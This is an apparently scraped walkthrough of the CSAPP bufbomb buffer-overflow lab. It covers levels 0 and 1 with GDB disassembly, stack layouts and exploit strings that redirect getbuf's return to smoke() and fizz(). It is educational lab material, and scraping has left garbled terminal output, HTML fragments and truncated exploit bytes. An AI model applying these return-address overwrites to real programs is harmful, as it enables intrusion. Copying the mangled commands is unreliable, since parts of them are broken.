Csapp Buffer Overflow Experiment record (i)

Title Description:

Start the journey of vulnerability and start with the basics. Recently, download the CMU for "in-depth understanding computer system" (Csapp) a book teaching the buffer Overflow experiment, Bomb, relive the stack overflow principle.

The topic provides a vulnerability overflow program Bufbomb, which includes five levels, which requires the return of specified functions, modification of global variables, execution of shellcode, etc. at each level, increasing the difficulty gradually. To ensure the uniqueness of the experimenter's work, the experiment provides a program Makecookie, which generates a cookie for the specified user name, in which the cookie value will be used in the experiment. On my machine,

[Email protected]:~/study/csapp exp/buflab$/makecookie HEEN0X5573B7CF

The bufbomb contains a vulnerable function getbuf

int Getbuf () {char buf[12];   Gets (BUF); return 1;}

Like the standard C function get, gets reads the string from the standard input (until the carriage return ' \ n ' or the end of the file), adds a null character, and places it in the destination. In the above function, the target location is buf to a 12-byte array of characters. However, the get does not check the length of the incoming string, which causes the stack overflow to occur. When the passed-in string does not exceed 11 characters,

[Email protected]:~/study/csapp exp/buflab$/bufbomb-t Heenteam:heencookie:0x5573b7cftype string:helloDud:getbuf Returned 0x1better luck next time

When more than 11 characters are

[Email Protected]:~/study/csapp exp/buflab$./bufbomb-t heenteam:heencookie:0x5573b7cftype string:this string is too lo ng! ouch!: You caused a segmentation fault! Better Luck next time

The experiment also provides a program sendstring for converting a hexadecimal-represented string (exploit string) to an input string, such as a hexadecimal representation "30 31 32 33 34 35" being sendstring converted to the corresponding string "012345". A series of hexadecimal strings can be passed through a pipeline mechanism.

[Email protected]: Cat Exploit.txt |./sendstring |./bufbomb-t Heen

Level0:candle (10 min)

The GETBUF function is called by the test function

void test () {    int val;     volatile int local = 0xdeadbeef;    val = getbuf ();     /* check for corrupted stack */    if   (Local != 0xdeadbeef)  {        printf ("Sabotaged! :  the stack has been corrupted\n ");    }     else if  (Val == cookie)  {        printf ("Boom !: getbuf returned 0x%x\n ",  val);         validate ( 3);    }    else {         printf ("dud: getbuf returned 0x%x\n",  val);     }} 

There is also a function in Bufbomb

void Smoke () {printf ("smoke!: You called Smoke () \ n");     Validate (0); Exit (0);}

A exploit string is required to return getbuf to smoke rather than test.

Solution:

Debug Bufbomb with GDB, learn the stack frame layout of the Getbuf function, and the starting address of the smoke function

[email protected]:~/study/csapp exp/buflab$ gdb -q ./bufbomb reading  Symbols from /media/winf/study/csapp exp/buflab/bufbomb...done. (GDB)  disass getbufDump of assembler code for function getbuf:    0x08048a44 <+0>:    push   ebp    0x08048a45 <+1>:    mov    ebp,esp    0x08048a47 <+3>:    sub    esp,0x18    0x08048a4a <+6>:    add    esp,0xfffffff4    0x08048a4d <+9>:    lea    eax,[ebp-0xc]   ; EBP-0XC is the value of the pointer buf    0x08048a50 <+12>:    push   eax    0x08048a51 <+13>:    call   0x8048b50 <gets>   0x08048a56 <+18>:     mov    eax,0x1   0x08048a5b <+23>:     mov    esp,ebp   0x08048a5d <+25>:     pop    ebp   0x08048a5e <+26>:    ret     end of assembler dump. (GDB)  disass smokeDump of assembler code for function smoke:    0x08048910 <+0>:    push   ebp          0x08048911 <+1>:    mov     ebp,esp   0x08048913 <+3>:    sub     Esp,0x8   0x08048916 <+6>:    add    esp,0xfffffff4   0x08048919 <+9>:     Push   0x8049380   0x0804891e <+14>:    call    0x8048748 <[email protected]>   0x08048923 <+19>:     add    esp,0xfffffff4   0x08048926 <+22> :    push   0x0   0x08048928 <+24>:     call   0x8048c30 <validate>   0x0804892d <+29> :     add    esp,0x20   0x08048930 <+32>:     add    esp,0xfffffff4   0x08048933 <+35> :    push   0x0   0x08048935 <+37>:     call &nbSp; 0x8048788 <[email protected]>end of assembler dump. 

Getbuf the stack frame layout.

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M00/48/B3/wKioL1QKyOjSZv_NAAA8s1Q1hbA676.jpg "title=" Buflayout-level0.png "alt=" Wkiol1qkyojszv_naaa8s1q1hba676.jpg "/>

Enter a 20-byte exploit string, overwriting the Getbuf return address as the start address of the smoke function 0x8048910, to return getbuf to smoke. When writing an address, pay attention to the little-ending of the x86 platform.

[Email Protected]:~/study/csapp exp/buflab$ Cat Exploit1.txt----------------- Mail Protected]:~/study/csapp exp/buflab$ cat exploit1.txt |./sendstring |. /bufbomb-t heenteam:heencookie:0x5573b7cftype string:smoke!: You called Smoke ()

Level1:sparkler (20 min)

Bufbomb contains the Fizz function

void Fizz (int val) {if (val = = cookie) {printf ("fizz!: You called fizz (0x%x) \ n", Val);    Validate (1);    } else printf ("Misfire:you called Fizz (0x%x) \ n", Val); Exit (0);}

Similar to the previous one, requires that getbuf not return to test, but instead return to fizz, but must set the parameter for the function call in fizz to its own cookie.

Solution:

First, still in gdb Disass fizz function, find its starting address is 0x804893c, the same as the previous level, this value needs to fill in the buf offset of the 17th to 20th byte to overwrite the original return address of Getbuf.

[Email protected]:~/study/csapp exp/buflab$ gdb -q ./bufbombreading symbols  from /media/winf/study/csapp exp/buflab/bufbomb...done. (GDB)  disass fizzDump of assembler code for function fizz:    0x0804893c <+0>:    push   ebp   0x0804893d  <+1>:    mov    ebp,esp   0x0804893f  <+3>:    sub    esp,0x8   0x08048942 <+6 >:    mov    eax,DWORD PTR [ebp+0x8]      ;val Storage Address    0x08048945 <+9>:    cmp     eax,DWORD PTR ds:0x804aa50   0x0804894b <+15>:     jne    0x8048970 <fizz+52>    0x0804894d <+17>:    add    esp, 0xfffffff8   0x08048950 <+20>:    push   eax    0x08048951 <+21>:    push   0x804939c    0x08048956 <+26>:    call   0x8048748 <[ email protected]>   0x0804895b <+31>:    add     esp,0xfffffff4   0x0804895e <+34>:    push    0x1   0x08048960 <+36>:    call    0x8048c30 <validate>   0x08048965 <+41>:    add     esp,0x20   0x08048968 <+44>:    jmp     0x8048981 <fizz+69>   0x0804896a <+46>:    lea    esi,[ ESI+0X0]&NBSP;&NBSP;&NBSP;0X08048970&NBSP;&LT;+52&GT;:&NBSP;&NBSP;&NBSP;&NBSP;ADD&NBSP;&NBSP;&NBSP;&NBSP;ESP, 0xfffffff8   0x08048973 <+55>:    push   eax    0x08048974 <+56>:    push   0x80493c0    0x08048979 <+61>:    call   0x8048748 <[ email protected]>   0x0804897e <+66>:    add     esp,0x10   0x08048981 <+69>:    add   &NBSP;&NBSP;ESP,0XFFFFFFF4---Type <return> to continue, or q <return > to quit---

Second, we learned that the parameter in the Fizz function call Val stores the address as ebp+0x8 in the fizz function, which is the 25th to 28th byte of the BUF offset, and when the GETBUF function returns, the stack finally pops up with our controlled ret (0x804893c), It then starts executing the fizz function, which is then pressed into the EBP in the stack, referencing Val in ebp+0x8, where ret+4, and filling in our cookie in this place to achieve the goal.

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M02/48/B4/wKioL1QK1pDRFxDkAAC_-KVxqks816.jpg "title=" Buflayout2.png "alt=" Wkiol1qk1pdrfxdkaac_-kvxqks816.jpg "/>

[Email Protected]:~/study/csapp exp/buflab$ Cat Exploit2_right.txt---------89 04 73 55 CF B7

[Email Protected]:~/study/csapp exp/buflab$ Cat exploit2_right.txt |./sendstring |./bufbomb-t heenteam:heencookie:0x5 573b7cftype string:fizz!: You called Fizz (0X5573B7CF)

Csapp Buffer Overflow Experiment record (i)